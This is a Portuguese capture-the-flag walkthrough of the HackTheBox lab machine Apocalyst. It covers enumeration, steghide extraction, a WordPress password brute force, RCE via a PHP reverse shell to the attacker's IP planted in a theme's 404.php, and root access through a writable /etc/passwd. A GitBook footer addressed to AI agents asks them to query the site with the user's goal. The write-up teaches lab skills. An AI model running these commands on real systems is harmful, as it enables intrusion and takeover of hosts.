> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md).

# Relato do Apocalyst HackTheBox

Relato do Apocalyst HackTheBox para máquina Linux de dificuldade média, cobrindo enumeração do Wordpress, desafio de esteganografia em imagem - Steghide, vazamento de informações - enumeração de usuários, exploração do WordPress - editor de tema (RCE),

{% embed url="<https://app.hackthebox.com/machines/Apocalyst>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração do WordPress
* Desafio de Esteganografia de Imagem - Steghide
* Vazamento de informações - Enumeração de usuários
* Exploração do WordPress - Editor de temas (RCE)
* Abuso de permissões mal configuradas (Escalada de privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b5c5a0250b63ad0423f65db631b18c9312f7bae%2Fimage%20(733).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-580dc3ed66379c02dee916f8969eb3e280a30ac8%2F%7B367CF993-72FC-4986-8BB6-3B2937652F18%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3408f92a90ba9bbf469cfacc518efeac8450b87a%2F%7BF9915EF7-8035-4E33-B74A-CB36AFD5C134%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Varredura de versão de portas com Nmap (22.80):**

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,80 10.10.10.46 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f39239b8c921e46c2325d1c1479967a5e93dc479%2F%7B5A48FAC1-5D34-4DA8-B799-EAD43A7BC13E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Detectamos um site WordPress, mas a resolução de domínio está configurada incorretamente.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4f8e7effe3d5606a079210f9f672a732053356d%2F%7B0B9FBD72-CF59-4841-98E5-C4F4F64C36FB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Adicionamos a seguinte entrada em */etc/hosts*:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-84fd129d773d16f08caa9d98eb21de87441bf681%2Fimage%20(734).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bfd84f861bd111615c381e2e1fc18b5f5889083%2Fimage%20(735).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Exploração do site WordPress**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5ddf6f1127c7bf11207a8f57f1d10bb89900216%2F%7B736E53A1-C4FE-4F12-B449-75353059F74A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Identificar um usuário válido**

Encontramos um usuário válido: **falaraki**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a78402ffafd0799ce1204bda3cfbd2e52310e668%2Fimage%20(736).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **Exploração via SSH**

Como a versão do SSH está desatualizada, podemos usar um exploit para validar o usuário no sistema:

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a0bb3100823f519a8639ef7f8e71fbd5b24d65d3%2Fimage%20(737).png?alt=media" alt=""><figcaption></figcaption></figure>

Validar que o usuário existe:

```bash
python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b9c2c45e5dddd3e3436ca701e9456ccd401241c%2F%7B1DEDC8FE-B243-4765-A9CD-7F75A7C767E8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Então, para o WordPress:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e4c4479417d9633922057aa8d5aa2419bec2b7c%2Fimage%20(738).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Listagem do WordPress**

Usamos *wfuzz* para procurar diretórios interessantes:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

Essa varredura detecta várias páginas retornando o código 301, redirecionando para uma imagem.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7c501f0655c83af14cf3f90dc95cdd49cd47c1a%2Fimage%20(740).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c51bf9169d6316f98bdf1337245a72d812af43c%2F%7B428DB325-60F6-4B0E-889D-35A3CF4E9C4B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Em seguida, filtramos pelo comprimento do texto (157):

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

Nenhum resultado interessante.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed38235d4cfa641eba89bbb87c919d1ea33dee60%2F%7BA38C8B07-0498-402A-83EB-16FDC60D6437%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Criação de dicionário personalizado - CEWL** <a href="#custom-dictionary" id="custom-dictionary"></a>

Geramos um dicionário com base no site:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b937520bd6451e57f7c75b38c00c11188af5dc4d%2F%7BC1D4EFF5-7B22-4E8C-9FF9-454BCB5E398C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Use **Cewl** para gerar um dicionário com base no site:

```bash
cewl -w list.txt http://apocalyst.htb/
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4df0326859b616c23ce0ca4b7c99c2e0b3e996d%2F%7B9F74D61D-0E49-42C9-9A0A-3B87BF41CE3E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Nova enumeração com *wfuzz*:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L
```

{% endcode %}

Encontramos o **`Retidão`** diretório.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6062b94674fbf8368e21cf461dafa9c155c3c5c1%2F%7BBCB6626A-F81D-464C-913C-C35579D2DF81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Análise de esteganografia com Steghide**

Salvamos a imagem e a analisamos:

1. Verificando se a imagem contém dados ocultos:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6b4ca11ae1f050ecbfcd4dd668907d447cef1326%2F%7BBF3E2B46-EBEB-41D5-AB60-F14D12C229A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Verificando se a imagem contém dados ocultos:

```bash
steghide info image.jpg
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25bafbe8c5377ac368938e0bf667b9418b09be92%2F%7BB61AC2D5-D35E-4808-9E7E-C44BA34BA105%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Extração de dados ocultos:

```bash
steghide extract -sf image.jpg
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58db1cc7ea2d9cee8ab957d4376b054382d83e9f%2F%7B1ED250B8-3960-43F4-A11F-9FCC21581E8B%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Um *list.txt* é gerado um arquivo contendo palavras

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abd92d1e0eeb2f1ba183555203ffd478097959c7%2F%7BB33AD389-288C-4D38-BE1A-D89F3AD8F0ED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Ataque de força bruta no WordPress**

<table data-full-width="false"><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pt-br/cms/wordpress-cms-exploitation/manual-brute-force-xmlrpc.php.md">Força Bruta Manual (xmlrpc.php)</a></td></tr></tbody></table>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a00153ba79137b90fe64e28af55f5d87f91bc707%2F%7BD6600E64-F085-4894-90B6-1555244867E6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Lançamos um ataque de força bruta com *wpscan*, explorando *xmlrpc.php* que está ativo:

```bash
wpscan --url http://apocalyst.htb -U falaraki -P list.txt
```

Encontramos **falaraki**senha de: **Transclisiation**.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ba98744a18bb62e862ccf1bcf00c09c419ae5fd1%2F%7B04411861-90BF-4F1C-A54A-0A03A3DC48BF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-487f641c1d8eea9847f2c85cdf35cd74391a02e1%2F%7BE4E8EE06-2FC9-4BBA-B81F-13A52FC03472%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Exploração do WordPress - Execução remota de código (RCE)**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea534a89e75ad30df3dbeedda4a755d9d9ef26d7%2F%7BC6CEFE52-1E03-4C72-9C22-8A7FBFFED8AD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Modificamos o *404.php* arquivo e injete um reverse shell nele:

```php
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.50/443 0>&1'")
?>
```

Escutando na porta 443:

```bash
nc -nvlp 443
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbe1a9f3696247622f44156d5ff7e42f50b3697e%2F%7BB4364371-95D3-4E1C-874E-F6752D49D1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Executando a shell via *curl*:

```bash
curl -s -X GET "http://apocalyst.htb/?p=404.php"
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-492ca22c588ca624a80e76ddf639ae07c9b184d9%2F%7B34B5F0C0-0745-4EF0-B5B8-A7C59C7746AB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Sessão de shell aprimorada:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flag user.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-409e7951559e41b4da40554db7056ef664dd1770%2F%7B3ED8C5CC-DB9E-41DF-89DD-CCCB457B9041%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## **Escalada de Privilégios**

### **Gerenciamento de permissões (`/etc/passwd`)**

```bash
find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys"
```

Vemos que */etc/passwd* é editável.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad8d76942ce6ab07d8d7a3a4270c1a80b1d857b4%2F%7B6B243335-2F12-422D-8B64-634021F6159E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Criando uma senha criptografada com OpenSSL:

```
openssl passwd -1 -salt WylYIBz9 jordan
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34fa1adb757b53a84eb292e44e51d9f7a17d9548%2F%7BD6C0C74F-44A5-44F3-95CF-D03CB57B6963%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

O que gera:

* $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/

Substituímos a linha root em */etc/passwd* pelo nosso hash.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8b90a957997c2a72c282022cd3073dfe28cdf28%2F%7BD16226D7-C948-44FF-96C4-3E65C749C68D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Login como root:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fe18b188b4303e1da030fdc73ba17abb087c8d4%2F%7B093F76F7-EBA7-48AC-821A-B6C057385FF0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f699b912fb404ef9aa1d50bc06e41ece46c6707%2F%7B4AED9304-1390-41EC-987B-04B55CE51A4C%7D.png?alt=media" alt="" width="545"><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7dd81340fb560d2d1e3614101f77ae62246e437%2F%7B7D75D75E-C048-45C5-A8E3-D4FFF5D61652%7D.png?alt=media" alt="" width="517"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

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Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
